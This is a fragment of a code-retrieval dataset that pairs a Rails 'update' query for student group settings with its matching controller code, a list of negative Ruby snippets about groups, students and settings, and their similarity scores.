"document",
"negatives"
]
]
}
}
|
[
"def update\n\t@student_group_setting = StudentGroupSetting.find(params[:id])\n\n\trespond_to do |format|\n\t if @student_group_setting.update_attributes(params[:student_group_setting])\n\t\tformat.html { redirect_to(@student_group_setting, :notice => 'Student group setting was successfully updated.') }\n\t\tformat.xml { head :ok }\n\t else\n\t\tformat.html { render :action => \"edit\" }\n\t\tformat.xml { render :xml => @student_group_setting.errors, :status => :unprocessable_entity }\n\t end\n\tend\n end",
"def new\n\t@student_group_setting = StudentGroupSetting.new\n\n\trespond_to do |format|\n\t format.html # new.html.erb\n\t format.xml { render :xml => @student_group_setting }\n\tend\n end",
"def create\n @student_defaulter_setting = StudentDefaulterSetting.new(student_defaulter_setting_params)\n\n respond_to do |format|\n if @student_defaulter_setting.save\n format.html { redirect_to @student_defaulter_setting, notice: 'Student defaulter setting was successfully created.' }\n format.json { render action: 'show', status: :created, location: @student_defaulter_setting }\n else\n format.html { render action: 'new' }\n format.json { render json: @student_defaulter_setting.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n @student.count = 0\n @student.password = \"default\"\n if params[:student][:group_ids] \n params[:student][:group_ids].each { |group_id| \n @student.groups << Group.find(group_id)\n }\n end\n\n respond_to do |format|\n if @student.save\n @students = Student.all\n format.html { render action: \"index\", notice: \"Student was successfully created.\" }\n format.json { render :index, status: :created}\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n if @student.isAdmin\n @student.groups = []\n end\n end",
"def settings\n request(Resources::RESOURCE_SETTINGS, HTTP_METHOD_POST)\n end",
"def destroy\n\t@student_group_setting = StudentGroupSetting.find(params[:id])\n\t@student_group_setting.destroy\n\n\trespond_to do |format|\n\t format.html { redirect_to(student_group_settings_url) }\n\t format.xml { head :ok }\n\tend\n end",
"def group_student_params\n params.require(:group_student).permit(:group_id, :student_id)\n end",
"def create\n @s_group = SGroup.new(s_group_params)\n\n respond_to do |format|\n if @s_group.save\n format.html { redirect_to @s_group, notice: 'S group was successfully created.' }\n format.json { render :show, status: :created, location: @s_group }\n else\n format.html { render :new }\n format.json { render json: @s_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student_group_association = StudentGroupAssociation.new(student_group_association_params)\n\n respond_to do |format|\n if @student_group_association.save\n format.html { redirect_to @student_group_association, notice: 'Student group association was successfully created.' }\n format.json { render :show, status: :created, location: @student_group_association }\n else\n format.html { render :new }\n format.json { render json: @student_group_association.errors, status: :unprocessable_entity }\n end\n end\n end",
"def student_group_params\n params.require(:student_group).permit(:teacher_id, :name, :description, student_ids: [])\n end",
"def setting_params\n params.require(:setting).permit(:supervisor_skripsi_amount, :supervisor_pkl_amount, :examiner_amount, :maximum_lecturer_lektor_skripsi_lead, :maximum_lecturer_aa_skripsi_lead, :allow_remove_supervisor_duration, :lecturer_lead_skripsi_rule, :lecturer_lead_pkl_rule, :allow_student_create_pkl, :maximum_lecturer_lektor_pkl_lead, :maximum_lecturer_aa_pkl_lead, :department_director, :department_secretary)\n end",
"def student_group_association_params\n params.require(:student_group_association).permit(:student_group_id, :user_id)\n end",
"def student_params\n params.require(:student).permit(:name, :surname, :group_id)\n end",
"def create\n @group_student = GroupStudent.new(group_student_params)\n\n respond_to do |format|\n if @group_student.save\n format.html { redirect_to @group_student, notice: 'Group student was successfully created.' }\n format.json { render :show, status: :created, location: @group_student }\n else\n format.html { render :new }\n format.json { render json: @group_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def student_defaulter_setting_params\n params.require(:student_defaulter_setting).permit!\n end",
"def group_params\n params.require(:group).permit(:title, :course, :semester)\n end",
"def create\n @student = @group.students.new(student_params)\n respond_to do |format|\n if @student.save\n format.html { redirect_to group_students_path(@group), notice: 'Student was successfully created.' }\n else\n format.html { redirect_to group_students_path(@group), notice: \"Student couldn't be created\" }\n end\n end\n end",
"def group_params\n params.require(:group).permit(:name, :desc, :will_expires_on, :class_project_id, :status, :maximum_stack_limit, :enable_stack_scheduler, :schd_timzone, :schd_shutdown_time, :schd_startup_time,:show_inputs,:enable_expire_time,:enable_start_time,:will_start_on,:maximum_number_of_users, :invite_code, :enable_startup_only, :enable_shutdown_only,:lab_life_in_days,:stack_template_id, stack_template_ids:[])\n end",
"def student_params\n params.require(:student).permit(:name, :birthday, :education, :activated, :group_id)\n end",
"def create\n ip = request.location\n @user = current_user\n @group = @user.groups_as_owner.new(params[:group])\n params[:group][:member_ids] = (params[:group][:member_ids] << @group.member_ids).flatten\n @group.school_id = @user.school_id\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render json: @group, status: :created, location: @group }\n else\n format.html { render action: \"new\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def s_group_params\n params.require(:s_group).permit(:name, :manager, :admin_comment)\n end",
"def show\n\t@student_group_setting = StudentGroupSetting.find(params[:id])\n\n\trespond_to do |format|\n\t format.html # show.html.erb\n\t format.xml { render :xml => @student_group_setting }\n\tend\n end",
"def create\n @personal_group = current_user.personal_groups.new(params[:personal_group])\n @personal_group.school = current_school\n\n respond_to do |format|\n if @personal_group.save\n flash[:notice] = \"The #{@personal_group.name} group is now available in the student search screen.\"\n format.html { redirect_to(personal_groups_url) }\n else\n @students = Student.find_all_by_id(selected_student_ids.collect(&:to_i))\n format.html { render :action => \"new\" }\n end\n end\n end",
"def set_student_group\n @student_group = StudentGroup.find(params[:id])\n end",
"def create\n @semifinalgroup = Semifinalgroup.new(semifinalgroup_params)\n\n respond_to do |format|\n if @semifinalgroup.save\n format.html { redirect_to @semifinalgroup, notice: 'Semifinalgroup was successfully created.' }\n format.json { render :show, status: :created, location: @semifinalgroup }\n else\n format.html { render :new }\n format.json { render json: @semifinalgroup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def group_assignment_params\n params.require(:group_assignment).permit(:group_id, :StudentID, :GroupYear)\n end",
"def create\n @student_group = StudentGroup.new(student_group_params)\n @student_group.teacher = @teacher\n\n respond_to do |format|\n if @student_group.save\n format.html {redirect_to teacher_student_groups_path(@student_group.teacher),\n notice: 'Группа студентов успешно создана.'}\n format.json { render :show, status: :created, location: @student_group }\n else\n format.html { render :new }\n format.json { render json: @student_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def stu_reg_semester_params\n params.require(:stu_reg_semester).permit(:student_id, :semester_id)\n end",
"def semifinalgroup_params\n params.require(:semifinalgroup).permit(:id, :startup_id, :semifinalposition_id)\n end",
"def security_group_params\n params.require(:security_group).permit(:data)\n end",
"def setting_params\n params.permit(:setting, :key, :value, :location) #, :key, :value, :location, #:system_node_id )\n end",
"def create\n @group = StudentGroup.new(params[:student_group])\n users = []\n #@group.institution_id = current_user.institution.id if current_user.institution\n #@group.center_id = current_user.center.id if current_user.center\n #@group.role_id = 10 #short_role for SG group\n respond_to do |format|\n if @group.save\n if current_user.is?'ET' or current_user.is? 'EO'\n StudentGroupOwner.create(student_group_id: @group.id, user_id: current_user.id)\n end\n if params[\"users\"].present?\n users = users + params[\"users\"]\n end\n if params[\"teachers\"].present?\n users = users + params[\"teachers\"]\n end\n unless users.empty?\n users.each do |i|\n UserGroup.create(:group_id=>@group.id,:user_id=>i.to_i)\n end\n end\n format.html { redirect_to group_path(@group), notice: 'Group was successfully created.' }\n format.json { render json: @group, status: :created, location: @group }\n else\n format.html { render action: \"new\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @attribute_group = AttributeGroup.new(params[:attribute_group])\n\n respond_to do |format|\n if @attribute_group.save\n format.html { redirect_to(@attribute_group, :notice => 'Attribute group was successfully created.') }\n format.xml { render :xml => @attribute_group, :status => :created, :location => @attribute_group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @attribute_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @provider_group = ProviderGroup.new(params[:provider_group])\n\n respond_to do |format|\n if @provider_group.save\n flash[:notice] = 'ProviderGroup was successfully created.'\n format.html { redirect_to(@provider_group) }\n format.xml { render :xml => @provider_group, :status => :created, :location => @provider_group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @provider_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @global_account_setting = GlobalAccountSetting.new(params[:global_account_setting])\n\n respond_to do |format|\n if @global_account_setting.save\n format.html { redirect_to(@global_account_setting, :notice => 'Global account setting was successfully created.') }\n format.xml { render :xml => @global_account_setting, :status => :created, :location => @global_account_setting }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @global_account_setting.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def fill_student_settings(s_u)\n student_settings = s_u.user.student_settings\n\n student_settings.options_list.each { |option_name| update_student_option(s_u, option_name) }\n end",
"def create\n @system_node = SystemNode.find(params[:system_node_id])\n @setting = @system_node.settings.new()\n#binding.pry\n @setting.key = params[:setting][:key]\n @setting.value = params[:setting][:value]\n @setting.location = params[:setting][:location]\n\n\n respond_to do |format|\n if @setting.save\n format.html { redirect_to edit_system_node_path(@system_node), notice: 'Setting was successfully created.' }\n format.json { render :show, status: :created, location: @setting }\n else\n format.html { render :new }\n format.json { render json: @setting.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(group_params)\n @group.create_robotsurvey()\n @group.create_signupsurvey()\n @group.create_poststudysurvey()\n respond_to do |format|\n if @group.save\n \n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render action: 'show', status: :created, location: @group }\n else\n format.html { render action: 'new' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def membership_params\n params.require(:membership).permit(:student_id, :group_id)\n end",
"def update\n @student.groups = []\n if params[:student][:group_ids]\n params[:student][:group_ids].each { |group_id| \n @student.groups << Group.find(group_id)\n }\n end\n\n respond_to do |format|\n if @student.update(student_params)\n @students = Student.all\n format.html { render action: \"index\", notice: \"Student was successfully updated.\" }\n format.json { render action: \"index\", status: :ok }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n if @student.isAdmin\n @student.groups = []\n @student.save\n end\n end",
"def student_create_grp(course, group)\n load_course_grps course\n logger.info \"Student is creating a student group called '#{group.title}' with #{group.members.length} additional members\"\n wait_for_update_and_click button_element(class: 'add_group_link')\n wait_for_element_and_type(add_group_name_input_element, group.title)\n group.members.each do |member|\n scroll_to_bottom\n (checkbox = checkbox_element(xpath: \"//span[text()='#{member.full_name}']/preceding-sibling::input\")).when_present Utils.short_wait\n checkbox.check\n end\n wait_for_update_and_click submit_button_element\n (link = student_visit_grp_link(group)).when_present Utils.short_wait\n logger.info \"Group ID is '#{group.site_id = link.attribute('href').split('/').last}'\"\n end",
"def create\n @security_group = SecurityGroup.new(security_group_params)\n\n respond_to do |format|\n if @security_group.save\n format.html { redirect_to @security_group, notice: 'Security group was successfully created.' }\n format.json { render :show, status: :created, location: @security_group }\n else\n format.html { render :new }\n format.json { render json: @security_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @radio_group = RadioGroup.new(params[:radio_group])\n\n respond_to do |format|\n if @radio_group.save\n format.html { redirect_to(@radio_group, :notice => 'Radio group was successfully created.') }\n format.xml { render :xml => @radio_group, :status => :created, :location => @radio_group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @radio_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post_config(url_prefix, xml)\n url_prefix = URI.escape(\"#{@jenkins_path}#{url_prefix}\")\n http = Net::HTTP.start(@server_ip, @server_port)\n request = Net::HTTP::Post.new(\"#{url_prefix}\")\n puts \"[INFO] PUT #{url_prefix}\" if @debug\n request.basic_auth @username, @password\n request.body = xml\n request.content_type = 'application/xml'\n response = http.request(request)\n response.code\n end",
"def list_group_params\n params.require(:list_group).permit(:student_id, :group_id)\n end",
"def set_group_student\n @group_student = GroupStudent.find(params[:id])\n end",
"def setting_params\n params.require(:setting).permit(:namespace, :value)\n end",
"def create\n @semester_subject = SemesterSubject.new(params[:san_semester])\n\n respond_to do |format|\n if @semester_subject.save\n flash[:notice] = 'SemesterSubject was successfully created.'\n format.html { redirect_to(@san_semester) }\n format.xml { render :xml => @san_semester, :status => :created, :location => @san_semester }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @san_semester.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @setdefault = Setdefault.new(setdefault_params)\n\n respond_to do |format|\n if @setdefault.save\n flash[:success] = 'Default was successfully created.'\n format.html { redirect_to '/' }\n format.json { render :show, status: :created, location: @setdefault }\n else\n format.html { render :new }\n format.json { render json: @setdefault.errors, status: :unprocessable_entity }\n end\n end\n end",
"def group_params\n params.require(:group).permit(:name, :purpose)\n end",
"def generate(groups)\n groups_params = groups.inject({}) do |params, (k, v)|\n params[\"groups[#{k}]\"] = 1\n params\n end\n\n response = RouteNGN.put self.class.base_url, {:id => self.id}.merge!(groups_params)\n response.success?\n end",
"def post_config(url_prefix, xml)\n post_data(url_prefix, xml, 'application/xml;charset=UTF-8')\n end",
"def create\n @target_group = TargetGroup.new(params[:target_group])\n\n respond_to do |format|\n if @target_group.save\n flash[:notice] = 'TargetGroup was successfully created.'\n format.html { redirect_to([:admin, @target_group]) }\n format.xml { render :xml => @target_group, :status => :created, :location => @target_group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @target_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @sales_group = SalesGroup.new(sales_group_params)\n\n respond_to do |format|\n if @sales_group.save\n format.html { redirect_to @sales_group, notice: 'Sales group was successfully created.' }\n format.json { render action: 'show', status: :created, location: @sales_group }\n else\n format.html { render action: 'new' }\n format.json { render json: @sales_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def user_sport_setting_params\n params.require(:user_sport_setting).permit(:exp_level, :group_class, :radius, :last_minutes)\n end",
"def create\n @assessment.user = current_user\n @assessment.account = current_account\n @assessment.save!\n @assessment.assessment_settings.create(settings_params)\n\n respond_with(:api, @assessment)\n end",
"def create\n @laboratory_test_group = LaboratoryTestGroup.new(params[:laboratory_test_group])\n\n respond_to do |format|\n if @laboratory_test_group.save\n flash[:notice] = 'LaboratoryTestGroup was successfully created.'\n format.html { redirect_to admin_masters_laboratory_test_groups_path }\n format.xml { render :xml => @laboratory_test_group, :status => :created, :location => @laboratory_test_group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @laboratory_test_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def student_params\n params.require(:student).permit(:first_name, :last_name, :birth_date, :email, :ip_address, :group_id, :registered_at, :average_grade)\n end",
"def create\n @registration_setting = RegistrationSetting.new(registration_setting_params)\n\n respond_to do |format|\n if @registration_setting.save\n format.html { redirect_to @registration_setting, notice: 'Registration setting was successfully created.' }\n format.json { render :show, status: :created, location: @registration_setting }\n else\n format.html { render :new }\n format.json { render json: @registration_setting.errors, status: :unprocessable_entity }\n end\n end\n end",
"def admin_resource_params\n params.require(:admin_resource).permit(:value, :group)\n end",
"def semester_params\n params.require(:semester).permit(:start_date, :end_date, :period_type, :field_of_study_id, :student_ids)\n end",
"def create\n @group = Group.new(group_params)\n respond_to do |format|\n if @group.save\n @membership = Membership.create!(group_id: @group.id, user_id: current_user.id, admin: true)\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @groups = Group.select_options\n @sale = current_user.sales.new(sale_params)\n\n respond_to do |format|\n if @sale.save\n @group = params[:sale][:group]\n if @group != 0\n @relation = Groupsale.new(group_id: @group, sale_id: @sale.id)\n @relation.save\n end\n\n format.html { redirect_to @sale, notice: 'Sale was successfully created.' }\n format.json { render :show, status: :created, location: @sale }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end",
"def study_group_params\n params.require(:study_group).permit(:name, :acronym, :start, :finish)\n end",
"def tutor_group_params\n params.require(:tutor_group).permit(:name, :user_id, tutor_group_students_attributes: [:student_id])\n end",
"def create\n group = params[:group] || {}\n group.delete(:locales)\n group.delete(:domains)\n @group = GROUP.new(group)\n @group.current_user = current_user\n\n respond_to do |format|\n if @group.save\n flash[:notice] = 'Group was successfully created.'\n format.html { redirect_to(group_url(@group.id)) }\n format.xml { render :xml => @group, :status => :created, :location => group_url(@group.id) + \".xml\" }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @group_adj = GroupAdj.new(group_adj_params)\n\n respond_to do |format|\n if @group_adj.save\n format.html { redirect_to @group_adj, notice: 'Group adj was successfully created.' }\n format.json { render :show, status: :created, location: @group_adj }\n else\n format.html { render :new }\n format.json { render json: @group_adj.errors, status: :unprocessable_entity }\n end\n end\n end",
"def group_params\n params.require(:group).permit!\n end",
"def provision_site_admin_groups\n @attributes[:provision_site_admin_groups]\n end",
"def create\n respond_to do |format|\n if @student.save\n @group = @student.group\n @program = @group.program\n format.html { redirect_to program_group_path(@program, @group), notice: 'Vous inscription est enregistrée.' }\n format.json { render :show, status: :created, location: user_student_path(@user, @student) }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expensegroup = Expensegroup.new(params[:expensegroup])\n\n respond_to do |format|\n if @expensegroup.save\n flash[:notice] = 'Expensegroup was successfully created.'\n format.html { redirect_to(@expensegroup) }\n format.xml { render :xml => @expensegroup, :status => :created, :location => @expensegroup }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @expensegroup.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @outgoing_sms_number_group = OutgoingSmsNumberGroup.new(params[:outgoing_sms_number_group])\n\n respond_to do |format|\n if @outgoing_sms_number_group.save\n flash[:notice] = 'OutgoingSmsNumberGroup was successfully created.'\n format.html { redirect_to(@outgoing_sms_number_group) }\n format.xml { render :xml => @outgoing_sms_number_group, :status => :created, :location => @outgoing_sms_number_group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @outgoing_sms_number_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def os_groups_membership_params\n params.require(:os_groups_membership).permit(:GroupID, :PrincipalID, :SelectedRoleID, :Contribution, :ListInProfile, :AcceptNotices, :AccessToken)\n end",
"def group_params\n params.require(:group).permit(:group_name)\n end",
"def create\n @evaluation = Evaluation.new(evaluation_params)\n @evaluation.group_id = params[:group_id]\n @evaluation.student_id = current_student.id\n respond_to do |format|\n if @evaluation.save\n format.html { redirect_to student_dashboard_path, notice: 'Evaluation was successfully created.' }\n format.json { render :show, status: :created, location: student_dashboard_path }\n else\n format.html { render :new }\n format.json { render json: @evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @small_group = SmallGroup.new(small_group_params)\n\n respond_to do |format|\n if @small_group.save\n format.html { redirect_to @small_group, notice: 'Small group was successfully created.' }\n format.json { render :show, status: :created, location: @small_group }\n else\n format.html { render :new }\n format.json { render json: @small_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def semester_params\n params.require(:semester).permit(:name, :semester_type)\n end",
"def create\n @group = SuperSimpleCms::Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n flash[:notice] = 'Group was successfully created.'\n format.html { redirect_to super_simple_group_path(@group) } \n format.js { redirect_to formatted_super_simple_group_path(@group, :js) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.js { render :action => \"new\", :layout=>false}\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user_group = UserGroup.new(params[:user_group])\n\n respond_to do |format|\n if @user_group.save\n flash[:notice] = \"User group <em>#{@user_group.name}</em> created.\"\n format.html { redirect_to(@user_group) }\n format.xml { render :xml => @user_group, :status => :created, :location => @user_group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def assign_students\n on RegistrationWindowsCreate do |page|\n page.assign_students(@appointment_window_info_name, @period_key)\n end\n end",
"def create\n\n respond_to do |format|\n if @registrant_group.save\n format.html { redirect_to @registrant_group, notice: 'Registrant group was successfully created.' }\n format.json { render json: @registrant_group, status: :created, location: @registrant_group }\n else\n format.html { render action: \"index\" }\n format.json { render json: @registrant_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @attendance_register = find_group.attendance_registers.new(attendance_register_params)\n\n respond_to do |format|\n if @attendance_register.save\n format.html { redirect_to [@group, :anchor => 'attendances'], notice: 'Attendance register was successfully created.' }\n format.json { render :show, status: :created, location: @attendance_register }\n else\n format.html { render :new }\n format.json { render json: @attendance_register.errors, status: :unprocessable_entity }\n end\n end\n end",
"def group_params\n params.require(:group).permit!\n #params.require(:group).permit(:name, :email, :course_id, :creator_id, :creator_username, :creator_firstname, :creator_lastname, :creator_email, :members)\n end",
"def create\n @os_groups_membership = OsGroupsMembership.new(os_groups_membership_params)\n\n respond_to do |format|\n if @os_groups_membership.save\n format.html { redirect_to @os_groups_membership, notice: 'Os groups membership was successfully created.' }\n format.json { render :show, status: :created, location: @os_groups_membership }\n else\n format.html { render :new }\n format.json { render json: @os_groups_membership.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_study_group(params={})\n sg_name.set params['name']\n sg_oid.set params['oid']\n is_mccadmin_only.set(true) if params['is_mccadmin_only'].downcase.include?('true')\n\n # check if apps are specified\n if params['apps']\n # special case for Test App\n if params['apps'].include?(\"Test App-MCC\")\n select_test_app\n else\n select_apps(params['apps'])\n end\n end\n\n # check if courses are specified\n if params['courses']\n if params['courses'].include?(\"Test Sample Course\")\n test_course.set(true)\n else\n select_courses(params['courses'])\n end\n end\n save_button.click\n sleep 10 #Wait for role assignments\n end",
"def create\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to(view_group_path(@group.label), :notice => 'Group was successfully created.') }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n file = Tempfile.new(\"onesecgroup-#{resource[:name]}-create.xml\")\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.TEMPLATE do\n xml.NAME resource[:name]\n xml.DESCRIPTION resource[:description]\n resource[:rules].each do |rule|\n xml.RULE do\n rule.each do |k, v|\n xml.send(k.upcase, v)\n end\n end\n end if resource[:rules]\n end\n end\n tempfile = builder.to_xml\n file.write(tempfile)\n file.close\n self.debug \"Creating secgroup using #{tempfile}\"\n onesecgroup('create', file.path)\n file.delete\n @property_hash[:ensure] = :present\n end",
"def group_params\n params.require(:group).permit(:nom, :salle, :tache)\n end",
"def create\n @group = Group.new(group_params)\n @group.owner = current_user\n @group.users << current_user\n\n respond_to do |format|\n if @group.save\n membership = Membership.find_by_group_id_and_user_id(@group.id, current_user)\n membership.update_attributes :acceptance_status => true\n\n format.html { redirect_to group_path(@group), alert: 'Group was successfully created.' }\n format.json { render action: 'show', status: :created, location: @group }\n else\n format.html { render action: 'new' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def group_params\n params.require(:group).permit(:name, :access_level)\n end",
"def create\n @group = Group.new(params[:group])\n @group.users << current_user\n \n respond_to do |format|\n if @group.save\n @group.groups_users.first.update_attribute :level, 2\n flash[:notice] = 'Group was successfully created.'\n format.html { redirect_to(@group) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def system_setting_params\n params.require(:system_setting).permit(:site_name, :uuid, :administrator)\n end",
"def sales_group_params\n params.require(:sales_group).permit(:unique_id, :description)\n end",
"def set_student_defaulter_setting\n @student_defaulter_setting = StudentDefaulterSetting.find(params[:id])\n end",
"def setting_params\n params.require(:setting).permit(:debug, :security_level, :size, :similarity, :weight,:description,:in_use,:min_value)\n end",
"def admin_setting_params\n\t params.require(:setting).permit! #(:name, :value, :descr)\n\t end",
"def medical_school_params\n\t\tparams.require(:profile_setting).permit( medical_schools_attributes: [:id, :text, :_destroy])\n\tend",
"def create\n @group_stat = GroupStat.new(params[:group_stat])\n\n respond_to do |format|\n if @group_stat.save\n format.html { redirect_to @group_stat, notice: 'Group stat was successfully created.' }\n format.json { render json: @group_stat, status: :created, location: @group_stat }\n else\n format.html { render action: \"new\" }\n format.json { render json: @group_stat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params[:school][:department_ids] = params[:department_select]\n @school = School.new(params[:school])\n respond_to do |format|\n if @school.save\n flash[:notice] = 'School was successfully created.'\n format.html { redirect_to(@school) }\n format.xml { render :xml => @school, :status => :created, :location => @school }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @school.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @outgoing_sms_content_group = OutgoingSmsContentGroup.new(params[:outgoing_sms_content_group])\n\n respond_to do |format|\n if @outgoing_sms_content_group.save\n flash[:notice] = 'OutgoingSmsContentGroup was successfully created.'\n format.html { redirect_to(@outgoing_sms_content_group) }\n format.xml { render :xml => @outgoing_sms_content_group, :status => :created, :location => @outgoing_sms_content_group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @outgoing_sms_content_group.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6191522",
"0.60126925",
"0.58383286",
"0.58301616",
"0.5739342",
"0.57289755",
"0.5716083",
"0.56946003",
"0.56678134",
"0.5601746",
"0.5588146",
"0.5586154",
"0.5568524",
"0.5568286",
"0.5527127",
"0.5508174",
"0.5490639",
"0.547487",
"0.5450705",
"0.5434497",
"0.54197055",
"0.5414964",
"0.54105896",
"0.5398862",
"0.5387996",
"0.5345751",
"0.5315533",
"0.531099",
"0.5306162",
"0.5297078",
"0.529693",
"0.52908033",
"0.5280167",
"0.52717215",
"0.52637035",
"0.5260995",
"0.5256505",
"0.5240605",
"0.5239969",
"0.52368075",
"0.5236214",
"0.5228182",
"0.522074",
"0.52137125",
"0.52098364",
"0.52018315",
"0.5198236",
"0.51889235",
"0.51855356",
"0.5170421",
"0.5164783",
"0.5162634",
"0.5162559",
"0.51622504",
"0.5160721",
"0.51598996",
"0.5157515",
"0.51557505",
"0.5153546",
"0.5152472",
"0.51495785",
"0.51473784",
"0.5145618",
"0.5136104",
"0.51357937",
"0.51331913",
"0.5125605",
"0.5120631",
"0.5120517",
"0.5119662",
"0.5118879",
"0.51137286",
"0.5112641",
"0.51105434",
"0.51029146",
"0.50998753",
"0.5094352",
"0.5093541",
"0.5092594",
"0.5092228",
"0.5089081",
"0.50799143",
"0.5078371",
"0.5077305",
"0.50716007",
"0.50714695",
"0.5071295",
"0.50691843",
"0.50678915",
"0.50673556",
"0.50670606",
"0.5066773",
"0.5062698",
"0.5060707",
"0.5056717",
"0.5053438",
"0.50528854",
"0.5049407",
"0.5046575",
"0.5041399"
] |
0.70773095
|
0
|
PUT /student_group_settings/1 PUT /student_group_settings/1.xml
|
def update
@student_group_setting = StudentGroupSetting.find(params[:id])
respond_to do |format|
if @student_group_setting.update_attributes(params[:student_group_setting])
format.html { redirect_to(@student_group_setting, :notice => 'Student group setting was successfully updated.') }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @student_group_setting.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n respond_to do |format|\n if @student_group_association.update(student_group_association_params)\n format.html { redirect_to @student_group_association, notice: 'Student group association was successfully updated.' }\n format.json { render :show, status: :ok, location: @student_group_association }\n else\n format.html { render :edit }\n format.json { render json: @student_group_association.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student_defaulter_setting.update(student_defaulter_setting_params)\n format.html { redirect_to @student_defaulter_setting, notice: 'Student defaulter setting was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @student_defaulter_setting.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student.groups = []\n if params[:student][:group_ids]\n params[:student][:group_ids].each { |group_id| \n @student.groups << Group.find(group_id)\n }\n end\n\n respond_to do |format|\n if @student.update(student_params)\n @students = Student.all\n format.html { render action: \"index\", notice: \"Student was successfully updated.\" }\n format.json { render action: \"index\", status: :ok }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n if @student.isAdmin\n @student.groups = []\n @student.save\n end\n end",
"def update\n respond_to do |format|\n if @student_group.update(student_group_params)\n format.html {redirect_to teacher_student_groups_path(@student_group.teacher),\n notice: 'Группа студентов успешно обновлена.'}\n format.json { render :show, status: :ok, location: @student_group }\n else\n format.html { render :edit }\n format.json { render json: @student_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_student_group\n @student_group = StudentGroup.find(params[:id])\n end",
"def destroy\n\t@student_group_setting = StudentGroupSetting.find(params[:id])\n\t@student_group_setting.destroy\n\n\trespond_to do |format|\n\t format.html { redirect_to(student_group_settings_url) }\n\t format.xml { head :ok }\n\tend\n end",
"def update\n respond_to do |format|\n if @group_student.update(group_student_params)\n format.html { redirect_to @group_student, notice: 'Group student was successfully updated.' }\n format.json { render :show, status: :ok, location: @group_student }\n else\n format.html { render :edit }\n format.json { render json: @group_student.errors, status: :unprocessable_entity }\n end\n end\n end",
